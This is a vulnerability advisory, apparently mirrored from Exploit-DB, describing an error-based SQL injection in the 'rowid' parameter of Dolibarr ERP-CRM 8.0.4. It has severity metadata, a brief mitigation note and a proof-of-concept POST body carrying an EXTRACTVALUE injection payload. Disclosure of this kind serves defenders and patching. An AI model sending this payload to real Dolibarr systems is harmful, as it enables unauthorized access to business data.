Dolibarr ERP-CRM 8.0.4 - 'rowid' SQL Injection

vendor:

Dolibarr ERP-CRM

by:

Mehmet Önder Key

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Dolibarr ERP-CRM

Affected Version From: 8.0.4

Affected Version To: 8.0.4

Patch Exists: NO

Related CWE: N/A

CPE: a:dolibarr:dolibarr_erp-crm:8.0.4

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WAMPP @Win

2019

Dolibarr ERP-CRM 8.0.4 – ‘rowid’ SQL Injection

An attacker can access all data following an un/authorized user login using the parameter 'rowid' in the POST request URL http://localhost/doli/htdocs/admin/dict.php?id=16 with the payload 'AND EXTRACTVALUE(6385,CONCAT(0x5c,0x716b717871,(SELECT (ELT(6385=6385,1))),0x7176787171)) AND '%'='&search_code=94102&token=$2y$10$KhKjYSBlkY24Xl8v.d0ZruN98LAFOAZ5a5dzi4Lxe3g21Gx46deHK'

Mitigation:

Input validation should be done to prevent SQL injection attacks. Sanitize user input and use parameterized queries.

Source

Exploit-DB raw data:

# Title: Dolibarr ERP-CRM 8.0.4 - 'rowid' SQL Injection
# Date: 08.01.2019
# Exploit Author: Mehmet Önder Key
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://sourceforge.net/projects/dolibarr/files/Dolibarr%20ERP-CRM/8.0.4/dolibarr-8.0.4.zip
# Version: v8.0.4
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
Dolibarr ERP - CRM is an easy to use ERP and CRM open source software
package (run with a web php server or as standalone software) for
businesses, foundations or freelancers (prospect, invoicing, inventory,
warehouse, order, shipment, POS, members for foundations, bank accounts...)

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.


# POC - SQLi :

# Parameter: rowid (POST)
# Request URL: http://localhost/doli/htdocs/admin/dict.php?id=16

#    Type : Error Based
actionmodify=Modify&button_removefilter=Remove
filter&button_search=Search&code=PL_NONE&entity=&from=&libelle=None&page=0&position=1&rowid=\%'
AND EXTRACTVALUE(6385,CONCAT(0x5c,0x716b717871,(SELECT
(ELT(6385=6385,1))),0x7176787171)) AND
'%'='&search_code=94102&token=$2y$10$KhKjYSBlkY24Xl8v.d0ZruN98LAFOAZ5a5dzi4Lxe3g21Gx46deHK